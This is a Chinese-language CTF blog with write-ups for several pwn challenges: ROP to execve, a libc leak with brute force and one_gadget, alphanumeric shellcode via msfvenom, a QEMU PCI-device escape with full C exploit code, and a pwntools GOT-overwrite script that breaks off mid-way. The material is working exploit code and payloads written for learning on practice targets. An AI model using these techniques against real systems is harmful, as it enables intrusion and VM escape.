pwnable.kr-login

1.常规checksec,开了NX保护,IDA打开找漏洞,发现程序特别奇怪,没有main函数,这里应该是把elf文件的符号信息给清除了。正常情况下编译出来的文件里面带有符号信息和调试信息,这些信息在调试的时候非常有用,但是当文件发布时,这些符号信息用处不大,并且会增大文件大小,这时可以清除掉可执行文件的符号信息和调试信息,文件尺寸可以大大减小。可以使用strip命令实现清除符号信息的目的。

2.虽然这里找不到main函数,但是start函数是一定会存在的,由于start按F5反汇编不成功,所以这里进入到start函数的汇编代码中:

由于start中的结构基本固定,最后基本上都是如下,所以这里sub_4011B1其实就是main函数,这里就可以点进去看了。

1
2
3
4
#注释头

mov rdi, offset main
call _libc_start_main

2.这里的main函数可以反汇编成功,那么就开始分析漏洞。第一个函数是sub_4374E0,进去之后如下

1
2
3
4
5
#注释头

signed __int64 result; // rax
result = 37LL;
__asm { syscall; LINUX - sys_alarm }

使用系统调用号37,也就是0x25,代表alarm。

3.sub_408800字符串单参数,且参数都被打印到屏幕上,可以猜测是puts。sub_437EA0调用sub_437EBD,并且fd参数位为0号,且接收三个参数,看下汇编代码:

1
2
3
4
#注释头

mov eax, 0
syscall; LINUX - sys_read

调用0号syscall,推测为read函数。(系统调用号有)

4.进入sub_40108E函数中分析,这个函数处理了我们的输入,可以说就是关键函数了。看半天啥也没看懂,直接上调试。先输入十几个A看看,发现经过sub_400330函数之后,内存中输入的A,也就是a1处的内容被复制到了v2,这里先猜测是个类似strncpy函数的东西。然后看内容,既然局部变量v2只有0x40,而这个复制函数的的参数有80,也就是0x50,多了0x10。那么再调试看看,输入0x48个字节A,发现sub_40108E函数的ebp被我们改掉了:

sub_400330((__int64)&v2, a1, 80LL);

img

但是程序接着运行下去却不太行,陷入了循环,然后一直运行后崩溃,连之后的read(v8, (__int64)&v3, 40LL);这段read代码都没有运行。

5.再观察下程序,有个代码有意思:

1
2
3
4
5
#注释头

sub_400330((__int64)&v2, a1, 0x50LL);
if ( (_BYTE)v2 == 'p' && BYTE1(v2) == 'y' )
return 1LL;

在复制完字符串之后进入一个判断语句,如果开头是py,就直接retn,不经过下面代码,所以我们完全可以在这就直接返回。但是这里有个问题,这个return有没有汇编指令里的leave操作呢,如果没有,那rsp仍然在最前面,不会跳转到返回地址的地方,看汇编代码,可以看到最后是通过判断后跳转到了locret_40011AF,而这段地址里就是leave和retn的汇编操作,能够将rsp拉到返回地址处,那直接return就完事了。img

6.那么这里就可以判断出来我们的输入会被复制到v2这个局部变量中,并且最多0x50,也就是说除开rbp,我们可以再控制一个该函数的返回地址。那么开始尝试呗。由于只有一个返回地址,没有后门程序,最先想到的肯定是onegadget,但是不知道libc版本,没办法onegadget。那只有一个返回地址可以做什么,那么只有栈劫持了。其它WP大多都是抬高rsp,我想可不可以降低rsp,通过一次payload来getshell,也就是通过ROPgadget搜索sub rsp,但是搜出来的都不太行,要么太大,超过0x50,要么就很奇怪。然后一般栈劫持需要一个ret来接着控制程序流,这里也没搜到。同时由于使用的复制函数经过调试就是strncpy,字符串里不能有\x00,否则会被当做字符串截断从而无法复制满0x50字节制造可控溢出,这就意味着任何地址(因为地址基本都会在最开始带上00)都不能被写在前0x48个字节中,彻底断了sub rsp的念想。所以还是抬高栈吧。但是抬高栈也有点问题,就是我们输入的被复制的只有0x50个字节,抬高有啥用,不可控啊。然后就想到之前的read函数,读了400个字节,而紧接着就是调用该函数。刚好局部变量v2第一个被压栈,与sub_40108E函数栈的栈底紧紧挨在一起,也就是说越过sub_40108E函数栈的栈底和返回地址就可以直接来到main函数栈。而main函数栈中又只有一个我们输入的局部变量v4,所以sub_40108E函数栈的返回地址之后的第一个地址就是我们输入的局部变量v4的地址。(这里通过调试也可以发现)

7.那么经过计算,其实只要有一个pop,ret操作,让rsp抬高一下就可以到达我们输入的首地址。但是由于经过前面分析,我们需要在程序开头输入py来使得该函数直接return,那么如果只是一个pop,ret操作,那么程序第一个执行的代码就是我们输入的开头,包含了py的开头,这就完全不可控了,开头如果是py那怎么计算才能是一个有效地址呢。

8.那么就只能查找add rsp,只要满足add rsp 0x50之上就可以完全操控了。这里至少需要0x50也是因为这是strncpy,不能将地址写到前0x48个字节,否则会截断,而最后返回地址的覆盖可以被完全复制是这里本来就是一个返回地址,保存的内容应该是00401216,也就是之前call sub_40108E的下一段地址。这里在复制的时候肯定被截断了,但是由于本来就是找到一个可用的地址,截断了覆盖的也只是将401216换成了add rsp 0x58;ret这个地址(如果我们的add rsp的有效地址地方包含了00,那指定会出错)。那么payload的语句应该是payload = “py” + “a”*(0x48-0x02) + add_rsp_addr + padding + 实际控制代码。

9.利用ROPgadget搜索add esp的相关内容,可以查到一个地址0x46f205,操作是add rsp, 0x58; ret,这样就可以顺利将栈抬升到0x58的地方,所以payload的组成应该是:payload = “py” + “a”0x46 + p64(0x46f205) + “a”8 + p64(addr2)+…(a*8是用来填充的,因为抬升到了0x58处,复制之后0x50处是一段空白地方,所以还需要填充一下使p64(addr2)能顺利被抬升至0x58处被执行)。后面的p64(addr2)和…就是我们的常规gadget操作了。

10.现在需要system函数和/bin/sh字符串了。没有Libc,system函数和/bin/sh也没有,所以这里需要输入/bin/sh字符串,然后system函数需要通过syscall来实现。(64位程序下是syscall函数,32位程序下就是Int 0x80)

11.这里先完成binsh的输入:payload = p64(pop_rdx) + p64(rdx_value) + p64(pop_rsi) + p64(rsi_value) + p64(pop_rdi) + p64(rdi_value) + p64(pop_rax)+ p64(rax_value) + p64(syscall)因为是64位程序,函数从左往右读取参数所取寄存器依次为:rdi,rsi,rdx, rcx, r8, r9, 栈传递,但是实际情况中是从右往左读取参数,也就是当只有三个参数时,读取顺序应该是rdx,rsi,rdi对应的为read(rdi,rsi,rdx)。

这里rdx是输入的大小,rsi是输入的内存地址buf(随便找一段可读可写的就行了),rdi是fd标志位,由于是通过syscall调用,所以除了配置三个read函数参数还需要配置系统调用号,也就是rax的传参为0x0。img这里如果不使用syscall,其实也可以用我们之前猜出来的read函数的plt表,只是这样就可以不用设置rax了。

▲这里不能使用401202处的call read,因为call会压入下一行代码的作为read返回地址,那样就不可控了。这里选择系统调用是因为没有read在got表中的真实地址,不然其实调用got表地址也可以。

12.接着调用system函数,同样采用syscall系统调用,需要几个参数的设置rax=59,rdx=0,rsi=0,(这是调用syscall必须的前置条件,因为是linux规定的,可以上网查一下就知道)。都可以通过Pop gadget来实现,之后传参rdi为&buf,最后调用即可getshell。(59为系统调用号)所以紧接着的payload = p64(pop_rax) + p64(rax_value) + p64(pop_rdx) + p64(rdx_value) + p64(pop_rsi) + p64(rsi_value) + p64(pop_rdi) + p64(rdi_value) + p64(syscall)img这里就必须的设置rax为0x3b了。

▲sh不能用来传给syscall开shell,但是int 0x80可以。syscall-64,int 0x80-32。

▲syscall是在上进入内核模式的默认方法x86-64。该指令在Intel处理器的 32位操作模式下不可用。sysenter是最常用于以32位操作模式调用系统调用的指令。它类似于syscall,但是使用起来有点困难,但这是内核的关注点。int 0x80 是调用系统调用的传统方式,应避免使用,是32位程序下的。

系统调用查询网址:https://syscalls.w3challs.com/

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

BCTF 2017-100levels

1.常规checksec,开启了NX和PIE,不能shellcode和简单rop。之后IDA打开找漏洞,E43函数中存在栈溢出漏洞:

1
2
3
4
5
#注释头

__int64 buf; // [rsp+10h] [rbp-30h]
--------------------------------------------------
read(0, &buf, 0x400uLL);

有栈溢出那么首先想到是应该查看有没有后门,但是这个程序虽然外部引用了system函数,但是本身里并没有导入到.got.plt表中,没办法直接通过.got.plt来寻址。而且开了PIE,就算导入到.got.plt表中,也需要覆盖返回地址并且爆破倒数第四位才能跳转到system函数。虽然有栈溢出,但是没有后门函数,同样也没办法泄露Libc地址。

2.想getshell,又只有一个栈溢出,没有其它漏洞,还开了PIE和NX,那么一定得泄露出地址才能做,而printf地址也因为PIE没办法直接跳转。陷入卡顿,但是这里可以查看E43函数中的printf的汇编代码:

只能通过栈溢出形式来为下一次的printf赋参数来泄露。又由于PIE,也不知道任意一个函数的代码地址,那也没办法泄露被加载进入Libc中的内存地址。

3.通过调试可以看到,进入E43函数中,抵达printf函数时,栈顶的上方有大量的指向libc的地址:

img

并且观察E43函数中的汇编代码,可以看到Printf是通过rbp取值的,那么我们可以通过栈溢出修改rbp来使得[rbp+var_34]落在其它地方,而如果这个其它地方有libc地址,那么就相当于泄露出了Libc地址。

img

4.这个关卡数是由我们设置的,而且通过递归调用E43函数,形成多个E43的栈,那么进行调试,第二次进入E43的栈之后,仍然在运行到printf函数时,栈顶上方仍旧有大量的Libc地址。由于我们需要修改rbp来使得下一次的printf打印出libc地址,那么关卡最低需要设置两关,第一关用来栈溢出,修改rbp,使得第二关中的printf函数指向栈顶上方从而打印出Libc地址。

5.由于栈的随机化,我们如果随意修改rbp那么就会打印出奇怪的东西,所以修改rbp的最后一个字节,使得[rbp+var_34]能够移动一定范围,以一定几率命中栈顶上方。而又由于是递归调用,第一关的栈在第二关的栈的上方,模型大致如下:

(1)第一次rbp和rsp以及第二次的如图:

img img

(2)第一次栈以及第二次栈如图:

img

img

▲这里用的是Libc-2.32的,用其他的Libc就不太一样,具体情况具体分析。

6.这里的模型是假设第一次的rsp栈顶后两位为00,但是由于栈地址随机化,所以rsp其实可以从0x00-0xFF之间变化,对应的地址也就是从0-31之间变化。

7.这里先考虑第一个问题,rbp-var34如何落到libc空间中,也就是当0往下移动,变化为大约是4或者5时,即可落到libc空间。同样的,从5-16变化,都可以使得rbp-var34落在libc空间。但是如果0变化成16以上,对应的第二次栈空间rbp就会变成32以上,换算成16进制为0x100,这时修改最后两位,就会变成0x15c,使得它不但不往上走,更会往下走,从而没办法落到libc空间。总而言之,慢慢研究下,然后计算概率大约为12/32=3/8,可以使得落在Libc空间。这里的5c可以改变成其它值x,但是需要x-0x34为8的倍数才行,不然取到的地址会是截断的,但是修改后成功概率会发生改变,因为0x5c扫到的地址范围大概就是libc的栈空间。

8.落在libc空间不代表一定就会落在指向Libc地址上,前面可以看到,在16个地址范围内大概为7个,也就是1/2的概率成功。然后由于有v2%a1这个运算,也就对应汇编代码idiv [rbp+var_34],这就导致如果rbp+var_34的数据为0那么就会产生除零操作,这里没办法去掉。需要进行try操作来去除这个错误,使程序重新运行,进行自动化爆破。同时泄露出来的地址会发现有时候是正数有时候是负数。这是因为我们只能泄露出地址的低32位,低8个十六进制数。而这个数的最高位可能是0或者1,转换成有符号整数就可能是正负两种情况。这里进行处理可避免成功率下降:

1
2
3
4
#注释头

if addr_l8 < 0:
addr_l8 = addr_l8 + 0x100000000

9.但是泄露出来的地址由于printf的参数是%d,所以打印出来的是32位地址,还需要猜剩下32位。但是这里有个技巧,貌似所有64程序加载后的代码段地址都在0x000055XXXXXXXXXX-0x000056XXXXXXXXXX之间徘徊,对应的libc加载段在0x00007EXXXXXXXXXX-0x00007FXXXXXXXXXX范围,以下是测试数据:

程序开头段.load首地址和debug段首地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
#注释头

00007F1301D2A000
000056238FCAB000
差值为28EF 7207 F000

00007FCB31061000
000055D513E06000
差值为29F6 1D25 B000

00007F58EFF09000
000055F7C1BEC000
差值为2983 DC10 3000

具体原理好像是PIE源代码随机的关系,但具体不太清楚,能用就行。所以高32位就可以假设地址为0x00007fxx,所以这里需要爆破0x1ff大小,也就是511,相当于512次,但是其实可以知道,大概率是落在0x7f里,看数据分析也可以知道,所以实际爆破次数基本在500次以内。所以将泄露出来的地址加上一个在0x7f里的值,也就是addr = addr_l8 + 0x7f8b00000000,之后再根据Libc空间中指向libc地址的后两位来区分地址:并减去在libc中查到的偏移量即可得到Libc基地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#注释头

if hex(addr)[-2:] == '0b': #__IO_file_overflow+EB
libc_base = addr - 0x7c90b

elif hex(addr)[-2:] == 'd2': #puts+1B2
libc_base = addr - 0x70ad2

elif hex(addr)[-3:] == '600':#_IO_2_1_stdout_
libc_base = addr - 0x3c2600

elif hex(addr)[-3:] == '400':#_IO_file_jumps
libc_base = addr - 0x3be400

elif hex(addr)[-2:] == '83': #_IO_2_1_stdout_+83
libc_base = addr - 0x3c2683

elif hex(addr)[-2:] == '32': #_IO_do_write+C2
libc_base = addr - 0x7c370 - 0xc2

elif hex(addr)[-2:] == 'e7': #_IO_do_write+37
libc_base = addr - 0x7c370 - 0x37

所以算上命中概率,其实调试的时候可以看到,第一关的栈空间中由于程序运行结果也会有几个指向Libc地址,加上这几个也可以提高成功率,因为修改的rbp也是有可能落在第一关的栈空间。总的爆破次数应该就是500/((1/2)*(3/8)),约为2500次,还能接受。

10.泄露出Libc地址之后一般就有两种方法,一种是利用栈溢出,调用万能gadget用system函数进行binsh字符串赋值,从而getshell。还有一种就是,利用one_gadget来getshell,通过查看E43返回时的汇编代码有一个move eax,0;满足libc-2.23.so的其中一个one_gadget的条件,那么直接用就行。

11.最后libc基地址加上one_gadget的偏移地址就可以得到one_gadget的实际地址。

one_gadget = libc_base + 0x45526

之后在第二关中再次进行栈溢出覆盖rip来跳转到one_gadget即可getshell。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

BSides San Francisco CTF 2017-b_64_b_tuff

1.常规checksec下,只开了NX,之后IDA打开文件之后,有如下语句:

1
2
3
4
#注释头

s = (char *)base64_encode((int)buf, v7, v5);
((void (*)(void))v5)();

img

这里v7是输入的Buf,v5是mmap分配的内存空间。之后的语句:代表了将v5对应的内存空间强制转化为函数指针并且调用,在汇编代码中也可以看出来:这里的[ebp+var_18]就是我们输入的buf经过编码base64编码后存放的地方。

1
2
3
#注释头

text:0804879C var_18 = dword ptr -18h

img

3.所以我们输入的内容就成了会被执行的汇编代码,也就是可以输入Shellcode,来执行我们需要的命令。这里可以看一个连接网址,从里面找shellcode:

http://shell-storm.org/shellcode/

可以通过linux/x86/sh/bash/execve/shellcode等等关键词来查找,这里直接给出一个可用的shellcode:

img

1
2
3
#注释头

\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

4.但是有Base64_encode,所以我们输入的需要会被base64编码,而base64编码只能由只由0-9,a-z,A-Z,+,/这些字符组成,(这里就是对应的ascii转换表中内容)所以常规的shellcode就不合格,我们这里选中的shellcode中某些字符就没办法被base64编码,所以这里需要用到msfvenom来选择一个可用的编码器,将我们常规的shellcode编码成可以被base64编码的shellcode。

5.打开Linux,输入msfvenom -l encoders可以查看编码器,后面有介绍,可以看一下,从中选择一个可用的编码器对shellcode进行编码即可。

6.查到x86/alpha_mixed这个编码器可以将我们输入的shellcode编码成大小写混合的代码,符合条件。

x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder

运行编码器的代码如下:

python -c ‘import sys; sys.stdout.write(“\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80”)’ | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 –platform linux BufferRegister=EAX -o payload

7.输入这段代码运行之后可以看到当前文件夹目录下生成了一个payload文件,文本打开就可以看到编码后的shellcode:

PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA

8.之后需要将这段可以被Base64编码的进行Base64解码,得到的shellcode再被程序中的Base64编码后才是我们真正起作用的shellcode。利用python脚本即可。

1.’import sys; sys.stdout.write(“shellcode”)’:这是导入包之后写入编码的shellcode。

2.由于msfvenom只能从stdin中读取,所以使用Linux管道符”|”来使得shellcode作为python程序的输出。

3.此外配置编码器为x86/alpha_mixed,配置目标平台架构等信息,输出到文件名为payload的文件中。

4.由于在b-64-b-tuff中是通过指令call eax调用shellcode的eax,所以配置BufferRegister=EAX。最后即可在payload中看到对应的被编码后的代码。这段shellcode代码就可以被base64编码成我们需要的汇编代码。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

BlizzardCTF2017-Strng

1.打开虚拟环境,然后都说flag在/root/flag,给的也不是vmlinux,那么就应该是qemu逃逸。

2.由于只有文件,大佬们都直接告诉用户名密码,也没说怎么找,那就当作本来题目给了用户名和密码。用户名是ubuntu,密码是passw0rd。

3.将qemu-system-x86_64拖到IDA中开始分析,会分析很长一段时间,先看看启动参数,launch.sh:

1
2
3
4
5
6
7
8
9
10
./qemu-system-x86_64 \
-m 1G \
-device strng \
-hda my-disk.img \
-hdb my-seed.img \
-nographic \
-L pc-bios/ \
-enable-kvm \
-device e1000,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::5555-:22

没啥好注意的,显示加载了设备strng,那么这应该就是需要分析的PCI设备。然后最后一行netdev user,id=net0,hostfwd=tcp::5555-:22,把22端口重定向到了宿主机的5555端口,所以使用ssh ubuntu@127.0.0.1 -p 5555进去。同时这里注意加载内存要1G,为了防止崩溃,我改成了128M。

4.然后进入qemu中看看设备信息,好找到mmio和pmio的地址:

(1)首先输入lspci,可以看到有一个Unclassified device

00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)

这个就应该是strng设备了。

(2)加载IDA完成之后验证一下,函数栏搜索strng,查看相关函数。先查看设备初始化函数:strng_class_init。(这里需要将变量k的类型设置为PCIDeviceClass*)

img

可以看到加载了strng设备,然后设备号device_id是0x11e9,vendor_id是0x1234,对应在qemu中查看一下刚才猜测的strng设备,输入:lspci -v -s 00:03.0

img

可以看到猜测没错。同时可以看到对应的mmio地址为0xfebf1000,大小256。pmio的地址为0xc050,大小8。

▲有时候这些命令可能不好使,判断完设备号之后,可以输入:

hexdump /sys/devices/pci0000:00/0000:00:03.0/config来查看

img

5.之后从read和write函数中找漏洞:

这里将第一个参数opaque修改下类型为:struct STRNGState,至于为什么是这个,打开read和write的汇编代码,很明显发现有STRNGState,然后再跳转到结构体界面中找,虽然不太好找。找到之后双击,可以显示出结构体的所有成员,发现就是需要的那个:

img

(1)先看strng_mmio_read函数,读入addr并按二进制将其右移两位,相当于除以4,之后将结果作为regs数组的索引,返回该regs[add>>2]的值。同时还需要注意的是addr的低两位只能为0,否则过不了if ( size == 4 && !(addr & 3) )的检查。

(2)再看strng_mmio_write函数:

当size等于4时,将addr右移两位得到寄存器的索引idx,并提供4个功能:

①当idx为0时,调用srand函数但并不给赋值给内存。当i为1时,调用rand得到随机数并赋值给regs[1]。

②当idx为3时,调用rand_r函数,使用regs[2]的地址作为参数,最后将返回值赋值regs[3],但后续仍然会将val值覆盖到regs[3]中,就是迷惑用的,实际功能也就是将传入的value赋值给regs[3]。

▲但是这里的传regs[2]的地址也是一个关键,如果我们能将rand_r函数劫持为system函数,然后在regs[2]中放入”cat /root/flag”字符串,那不就可以调用system(“cat /root/flag”)从而读取flag了吗。

其余则直接将传入的value赋值给regs[idx]。

那么通过控制addr,进而控制idx>=2,就可以逐次将4个字节数据写入到regs[idx]上。

▲按理说如果将idx超出regs数组范围,64之后,那么不就可以任意越界写了吗,但是这里不行,因为传入的addr是不能大于mmio的大小,pci设备内部会进行检查,而刚好regs的大小为256,所以无法通过mmio进行越界读写。

(3)接着看strng_pmio_read函数:当传入的端口地址addr为0时,直接返回opaque->addr,否则将opaque->addr右移两位作为索引idx,返回regs[idx]的值。这个opaque->addr在strng_pmio_write中被赋值。

(4)然后再看strng_pmio_write函数:

当size等于4时,以传入的端口地址为判断提供4个功能:

①当传入的端口地址addr为0时,直接将传入的value赋值给opaque->addr。

②当传入的端口地址addr不为0时,将opaque->addr右移两位得到索引idx,分为三个功能:

A.idx为0时,执行srand,返回值不存储。

B.idx为1时,执行rand并将返回结果存储到regs[1]中。

C.idx为3时,调用rand_r并将regs[2]的地址作为第一个参数,返回值存储到regs[3]中。
否则直接将value存储到regs[idx]中。

▲这里就可以调用strng_pmio_write函数,形成任意地址写漏洞。

A.通过将addr设置为0,然后使得传入的value直接赋值给opaque->addr,使得opaque->addr形成的索引idx大于64,将reg[idx]越界指向rand_r函数指针。

B.然后再次调用strng_pmio_write函数,传入不为0的addr。通过opaque->addr形成的索引idx,使得regs[idx]指向rand_r函数指针,将value越界写入rand_r,劫持rand_r函数。

6.那么总的利用过程就清楚了:

(1)通过strng_mmio_write函数,将regs[2]赋值为”cat /root/flag”。

(2)通过strng_pmio_write函数,将rand_r函数劫持为system函数。

之后再调用strng_mmio_write函数,使得idx为3,然后将regs[2]的地址作为参数,调用rand_r函数,从而调用system(“cat /root/flag”)获取flag。

7.但是现在还需要system函数的地址,通过上面分析,可以发现有一个越界读漏洞:

(1)通过strng_pmio_write函数设置opaque->addr,使得opaque->addr形成的索引idx大于64,进而使得regs[idx]指向srand函数。

(2)通过strng_pmio_read函数,借助修改后的opaque->addr,读取idx索引regs[idx]指向的内容,也就是srand函数指针中的内容,对应的就是srand函数地址。

(这里大多数的exp都是针对srandom函数来泄露libc的,但rand或者rand_r应该也都可以)

8.那么现在总的利用过程就是泄露libc地址,然后改写rand_r函数为system函数,将”cat /root/flag”写入到regs[2],之后通过rand_r(regs[2])来调用system(“cat /root/flag”)从而获得flag。

9.开始编写poc:

(1)写好访问pmio和mmio空间的调用函数,及前置参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#注释头

unsigned char* mmio_mem;
uint32_t pmio_base=0xc050;

void die(const char* msg)
{
perror(msg);
exit(-1);
}//用来打印错误信息,退出用的,不写也没关系

void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}

uint32_t pmio_write(uint32_t addr, uint32_t value)
{
outl(value,addr);
}


uint32_t pmio_read(uint32_t addr)
{
return (uint32_t)inl(addr);
}

(2)打开resource0文件,利用mmap将mmio空间映射出来:

1
2
3
4
5
6
7
8
9
10
11
12
//注释头

// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");

printf("mmio_mem @ %p\n", mmio_mem);

(3)对mmio空间进行写操作,调用strng_mmio_write函数,将”cat /root/flag”写入到regs[2]中:

1
2
3
4
5
6
//注释头

mmio_write(8,0x20746163);
mmio_write(12,0x6f6f722f);
mmio_write(16,0x6c662f74);
mmio_write(20,0x6761);

这里由于需要满足传入的addr右移两位后形成的idx需要>=2,所以从8依次开始。

(4)编写pmio空间越界读和越界写的函数:

1
2
3
4
5
6
7
8
9
10
11
uint32_t pmio_arbread(uint32_t offset)
{
pmio_write(pmio_base+0,offset);
return pmio_read(pmio_base+4);
}

void pmio_abwrite(uint32_t offset, uint32_t value)
{
pmio_write(pmio_base+0,offset);
pmio_write(pmio_base+4,value);
}

(5)利用pmio空间越界读取漏洞,泄露libc地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//注释头

if (iopl(3) !=0 )
die("I/O permission is not enough");

// leaking libc address
uint64_t srandom_addr=pmio_arbread(0x108);
srandom_addr=srandom_addr<<32;
srandom_addr+=pmio_arbread(0x104);
//这里的都是为了设置idx从而读取用的

printf("leaking srandom addr: 0x%llx\n",srandom_addr);
uint64_t libc_base= srandom_addr-0x43bb0;
uint64_t system_addr= libc_base+0x4f440;
printf("libc base: 0x%llx\n",libc_base);
printf("system addr: 0x%llx\n",system_addr);
//不同的主机环境的libc版本不同,需要修改

(6)利用越界写,将rand_r函数改写成system函数

1
2
3
4
5
6
//注释头

// overwrite rand_r pointer to system
pmio_abwrite(0x114,system_addr&0xffffffff);

mmio_write(0xc,0);//补0

最后编译:gcc -m32 -O0 -static -o exp exp.c,然后传到虚拟机里面,可以用下列两种方法:

①scp -P5555 exp ubuntu@127.0.0.1:/home/ubuntu,由于开了端口,所以可以直接通过scp端口传输。

②使用python库简易搭建一个ftp传输:

1
2
3
4
5
6
7
#注释头

#主机中运行
python2 -m SimpleHTTPServer

#qemu中运行,其中ip地址需要改变一下,对于主机ip
wget -O ./exp http://192.168.80.132:8000/exp

最后可以看到成功运行:这里我修改了cat /root/flag命令,变成/bin/sh,可以看到返回了一个主机里面的终端sh,成功实现逃逸。但是这个终端sh输入命令不显示,回显消息比较慢,但是个确确实实的主机终端,如果有条件的话,应该是可以实现多重逃逸的。

img

▲qemu逃逸调试:

1.将exp传进qemu之后,在主机上使用命令ps aux|grep qemu,找到qemu的任务id,然后gdb attach qemu_id。

2.下断点在需要的函数:b *strng_mmio_write,然后输入c接着运行。

3.在qemu中sudo ./exp,现在就能在主机的gdb中停下来,就可以调试了。

1
2
3
4
5
#注释头

p *strng
p strng.regs[1]
p strng.srand

参考资料:

https://xz.aliyun.com/search?keyword=qemu

https://ray-cp.github.io/archivers/qemu-pwn-Blizzard-CTF-2017-Strng-writeup

CISCN2021东北赛区复现

复现之前,先骂两句。SB形式,SB的自己。

1.hard:这道题目最他丫SB,上来运行不起来,环境调半天,还是运行不起来,再加上VPN崩溃,一直连不上,还以为题目本身优点问题,只能先放弃,转头帮忙去了。后来checksec一下才发现依赖是./lib/,也就是当前文件下需要创建一个lib文件夹,里面放上ld-linux-x86-64.so.2才能运行,我可去他大爷的。

给的分挺高,后面想了想也不算难,主要有三个点。

(1)任意写时修改的地方选择。

(2)calloc传入的nnum为0时,不会申请,会返回0。同样也具备mmap的功能。

(3)最开始初始化的时候,setbuf传入的是_IO_2_1_stdxx的结构体,该结构体在调用scanf,get,printf等需要初始化缓冲区的函数时,会写入缓冲区地址,也就是Libc上某个区域,可以借此联合setbuf来泄露地址。

比赛后和学长交流一下,才想到把最后的puts改成main,我真他丫是个SB,然后就很正常了。

①由于Partial Reload,可以改got表,所以先任意写,将puts改成main,循环程序。

②将exit改成init处的setbuf的地方,将setbuf改成printf,这样再进入init的地方时,就会打印处_IO_2_1_stdxx的结构体的值。

③由于打印_IO_2_1_stdxx的结构体的值时,打印处flag之后就会被0x00截断,所以需要修改flag处的值。这里通过calloc输入过大的nnum时会从mmap申请内存,返回的是mmap空间,也就是libc上的地址。同时由于关闭了PIE,偏移不会发生改变,所以直接调试计算偏移即可。

④泄露地址后,同样利用calloc申请mmap的方法,将calloc_got改成one_gadget即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
# -*- coding:UTF-8 -*-
from pwn import *
#from LibcSearcher import *

#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')

binary = "./pwn"
libc_file = "/lib/x86_64-linux-gnu/libc-2.31.so"
#libc_file = ""

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

#libcsearcher use
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 1
if local:
p = process(binary)
#p = process(['./lib/ld-linux-x86-64.so.2', './tvstation'], env={"LD_PRELOAD":"./lib/libc.so.6"})
#p = process(binary, env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF(binary)
libc = ELF(libc_file)
else:
p = remote("119.3.81.43","49153")
elf = ELF(binary)
libc = ELF(libc_file)


def write(offset, con):
ru(": ")
sl("-1")
ru(": ")
sl(str(offset // 4))
ru(":")
sl(str(con))

def write2(offset, con):
ru(": ")
sl(str(0x100000))
ru(": ")
sl(str(offset // 4))
ru(":")
sl(str(con))


main_addr = 0x40078D
puts_got = elf.got['puts']
setbuf_got = elf.got['setbuf']
exit_got = elf.got['exit']
printf_plt = elf.plt['printf']
setbuf_plt = elf.plt['setbuf']
calloc_got = elf.got['calloc']
setbuf_init = 0x40086a


log.info("puts_got:0x%x"%puts_got)
log.info("setbuf_got:0x%x"%setbuf_got)
log.info("exit_got:0x%x"%exit_got)
log.info("printf_plt:0x%x"%printf_plt)
log.info("setbuf_plt:0x%x"%setbuf_plt)
log.info("calloc_got:0x%x"%calloc_got)


write(puts_got,main_addr) #puts->main
write(setbuf_got,printf_plt) #setbuf->printf
write(setbuf_got+4,"0") #setbuf->printf
